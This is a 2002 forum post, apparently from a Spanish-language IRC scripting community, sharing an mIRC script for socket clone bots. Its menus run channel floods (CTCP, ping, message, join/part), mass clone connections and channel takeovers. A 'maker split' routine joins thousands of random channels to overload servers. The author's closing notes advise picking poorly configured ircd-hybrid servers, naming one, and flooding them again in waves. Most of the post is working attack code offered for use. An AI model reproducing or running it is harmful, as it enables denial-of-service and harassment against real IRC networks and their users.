.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
}

alias _parm { return $gettok(%sock.data,$1,32) }

on 1:sockread:creator*: {
sockread %screator
if ($_parm(2) isnum) {
%raw = $_parm(2)
if (%raw == 001) {
echo @creator.split 15[14sock15] -14 $sockname conecting to server
}
}
}

on 1:sockclose:creator*:{
echo @creator.split 15[14split15] -14 $sockname closed =/ !
}

fermarlop

17-05-2002, 05:42

nombre menu.adv
...........................
- Advance null -

[+menu socks fuck+]

menu status,channel,menubar {
-
- sock.bots -
.$iif(%mode.ircx == on,protect socks)
..load protect socks:dialog -m sockbot sockbot
..fuck protect socks:kits | kitzs
..nick
...- %s0ck.1 -: /set %s0ck.1 $$?="nick:" | sockwrite -tn * NICK %s0ck.1
...- %s0ck.2 -: /set %s0ck.2 $$?="nick:" | sockwrite -tn * NICK %s0ck.2
..Channel
...join $chan:/sockwrite -tn * JOIN #
...part $chan:/sockwrite -tn * PART #
...cycle $chan:sockwrite -tn * PART # | /sockwrite -tn * JOIN # $key($chan) $hostkey($chan)
..control
...own( $me ):/sockwrite -tn * MODE # +q $me
...-
...host( $me ):/sockwrite -tn * MODE # +o $me
...-
...kick:/sockwrite -tn * KICK $chan $snicks 15[14sock15]
..msg:/sockwrite -nt * PRIVMSG $$?="Channel/someone?" : $+ $$?="msg?"
.-
.$iif(%mode.ircx == on,Split socks)
..load split socks:dialog -m splitsocks splitsocks
..fuck split socks:{ sockwrite -tn * quit 15[14split15] | sockclose * | window -c @split-socks }
..-
..commands
...+q( $me ): sockwrite -tn * MODE # +q $me
...+o( $me ): sockwrite -tn * MODE # +o $me
...+join $chan: sockwrite -tn * JOIN #
...+part $chan: sockwrite -tn * PART #
...+cycle $chan: sockwrite -tn * part # | sockwrite -tn * join # $key($chan) $hostkey($chan)
..-
..Split connect
...( $+ %launch.on $+ )On:{ set %launch.on + | unset %launch.off }
...( $+ %launch.off $+ )Off:{ set %launch.off + | unset %launch.on }
.-
.mass socks
..load mass socks: sockbots
..fuck mass socks: {
timer93* off
sockwrite -tn sock* quit 14[15mass.socks14]
sockclose sock*
echo @mass.socks 15[14mass socks15] -14 Connection closed from %s.server
timer 1 5 window -c @mass.socks
}
..-
..comands
...Look:/sockwrite -n * privmsg # : $+ `14[ 15speed sockbot14] 15v1.1+ircX 15engineered by 14^[ 9N 14]aZGû|_
...Join:/sockwrite -n sock* join $$?="Channel?"
...Part:/sockwrite -n sock* part $$?="Channel?"
...Cycle: set %socksycle $$?="Channel?" | sockwrite -n sock* part %socksycle | sockwrite -n sock* join %socksycle
...msg bots:/sockwrite -n * privmsg $$?="Channel/nick" : $+ $$?="Msg?"
...Nick( $+ $me $+ ):/sockwrite -n sock* nick $$?="New Nick?"
..-
..floods
...join/part flood:jpf
...ctcp flood:ctcpf $$?="Nick/Canal"
...msg flood:msgf $$?="Nick/Canal" $$?="What msg to flood"
...ping flood:pingf $$?="Nick/Canal"
...version flood:versionf $$?="Nick/Canal"
...mass flood:massf
...ping msg Flood: set %chanflodsock $$?="Channel/nick?" | Cchat3evr
..-
..Server( $+ %s.server $+ ):/set %s.server $$?="Server+Port:"
..AutoJoin
...- $+ %masschan.1 $+ -:/set %masschan.1 $$?="Channel:"
...- $+ %masschan.2 $+ -:/set %masschan.2 $$?="Channel:"
...- $+ %masschan.3 $+ -:/set %masschan.3 $$?="Channel:"
...- $+ %masschan.4 $+ -:/set %masschan.4 $$?="Channel:"
...- $+ %masschan.5 $+ -:/set %masschan.5 $$?="Channel:"
...- $+ %masschan.6 $+ -:/set %masschan.6 $$?="Channel:"
...- $+ %masschan.7 $+ -:/set %masschan.7 $$?="Channel:"
...- $+ %masschan.8 $+ -:/set %masschan.8 $$?="Channel:"
...- $+ %masschan.9 $+ -:/set %masschan.9 $$?="Channel:"
...- $+ %masschan.10 $+ -:/set %masschan.10 $$?="Channel:"
...-
...Remove
....- $+ %masschan.1 $+ -: unset %masschan.1
....- $+ %masschan.2 $+ -: unset %masschan.2
....- $+ %masschan.3 $+ -: unset %masschan.3
....- $+ %masschan.4 $+ -: unset %masschan.4
....- $+ %masschan.5 $+ -: unset %masschan.5
....- $+ %masschan.6 $+ -: unset %masschan.6
....- $+ %masschan.7 $+ -: unset %masschan.7
....- $+ %masschan.8 $+ -: unset %masschan.8
....- $+ %masschan.9 $+ -: unset %masschan.9
....- $+ %masschan.10 $+ -: unset %masschan.10
.-
.maker split
..Server ( $+ %makerserver $+ ) : set %makerserver $?="Server+Port:"
..Random chan ( $+ %makersplit $+ ): set %makersplit $?="Random channel:"
..-
..Load socks: creatorsplits
..Unload socks: /sockclose creator* | window -c @creator.split
.-
.$iif(%mode.ircx == on,commands help):s0ckhelp
}

menu status,channel,menubar {
-
- sock.bots -
.$iif(%mode.ircx == off,protect sock)
..load protect sock:dialog -m sockbot.ircd sockbot.ircd
..fuck protect sock:kit.his | kitz.his
..nick
...- %s0ckD.1 -: /set %s0ckD.1 $$?="nick:" | sockwrite -tn * NICK %s0ckD.1
..Channel
...join $chan:/sockwrite -tn * JOIN #
...part $chan:/sockwrite -tn * PART #
...cycle $chan:sockwrite -tn * PART # | /sockwrite -tn * JOIN # $key($chan) $hostkey($chan)
..control
...host( $me ):/sockwrite -tn * MODE # +o $me
...-
...kick:/sockwrite -tn * KICK $chan $snicks 15[14sock15]
..msg:/sockwrite -nt * PRIVMSG $$?="Channel/someone?" : $+ $$?="msg?"
.-
.$iif(%mode.ircx == off,commands help):s0ckhelp.his
}
.................................................. .................................................. ..

aclaraciones
--------------

la extencion *.adv puede ser cargada como tal o renombrada a *.ini

no busken botoncitos ..es menu puro y en menu deben configurara el servidor al cual van a entrara los sockes asi como en maker split=laguar un servidor

abstenerse a servidores como icq o dalnet bien protegidos a estos atakes

busken algun ircd hibrid malconfigurado

hay muchos ejemplo chat.clarin.com

en mass.socks pueden cambiar el nicks de los clones les aseguro a una conexion de 56 k 400 clones

no desesperen si no conectan todos los servidores ircs funcionana con mucha latencia y es muy importante hacer siempre un /link para saber
cuantos servidores estan conectados en una red irc

etc etc etc

espero kelomejoren si es asi esta de mas pedir esas mejoras

una mejora a realizar es en elcaso de servidores ircd..ke kon maker.split cuando te creee 1000 o 2000 etc canales fanatasmas a la vez registre los canales para volver a aturarlo en otra oleada cambiando solamente el canal randon ke deses crear

saludos =)